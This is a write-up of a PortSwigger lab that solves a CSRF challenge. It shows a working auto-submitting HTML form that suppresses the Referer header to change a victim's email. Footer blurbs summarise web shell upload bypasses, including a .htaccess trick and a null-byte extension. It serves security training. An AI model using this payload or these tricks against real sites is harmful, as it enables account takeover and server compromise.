On this page
CSRF Where Referer Validation Depends on Header Being Present
Lab
CSRF where Referer validation depends on header being present · Practitioner
Solution
Given
This lab's email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
You can log in to your own account using the following credentials: wiener:peter
Analyzing the task
We need to change the user's email by exploiting a CSRF vulnerability. Delivery — through the exploit server. The lab has CSRF protection but also some vulnerable fallback. The lab's title hints that the Referer validation depends on the header being present.
Recon
Let's see how the email change feature works:
POST /my-account/change-email
The request contains a Referer:
Referer: https://0af900b5045d743e805344a6006d0040.web-security-academy.net/my-account?id=wiener
We send the request to Repeater, change the email, set Referer: https://ya. The response — 400 Invalid referer header.
OK, let's try removing the Referer entirely. Works!
Now I need to remember how to strip Referer from the request. I remember for sure there was some header along the lines of *_no_referer. A form submit probably won't do? Or can we configure Referer transmission behavior there? OK, off to skim the PortSwigger docs.
The docs suggested this:
<meta name="referrer" content="never">
Implementing the exploit
First, disable Referer transmission. Pull the email change form from the lab page, fill in our email, add the full URL to the lab, and submit the form.
<meta name="referrer" content="never">
<form class="login-form" name="change-email-form"
action="https://0af900b5045d743e805344a6006d0040.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="hhh@p.com">
<button class="button" type="submit">Update email</button>
</form>
<script>
document.forms[0].submit()
</script>
Lab solved.
More in this category
Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)
.php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.
Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)
Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.
Remote Code Execution via Web Shell Upload (PortSwigger Lab)
Avatar upload has no validation — drop a PHP web shell and read /home/carlos/secret.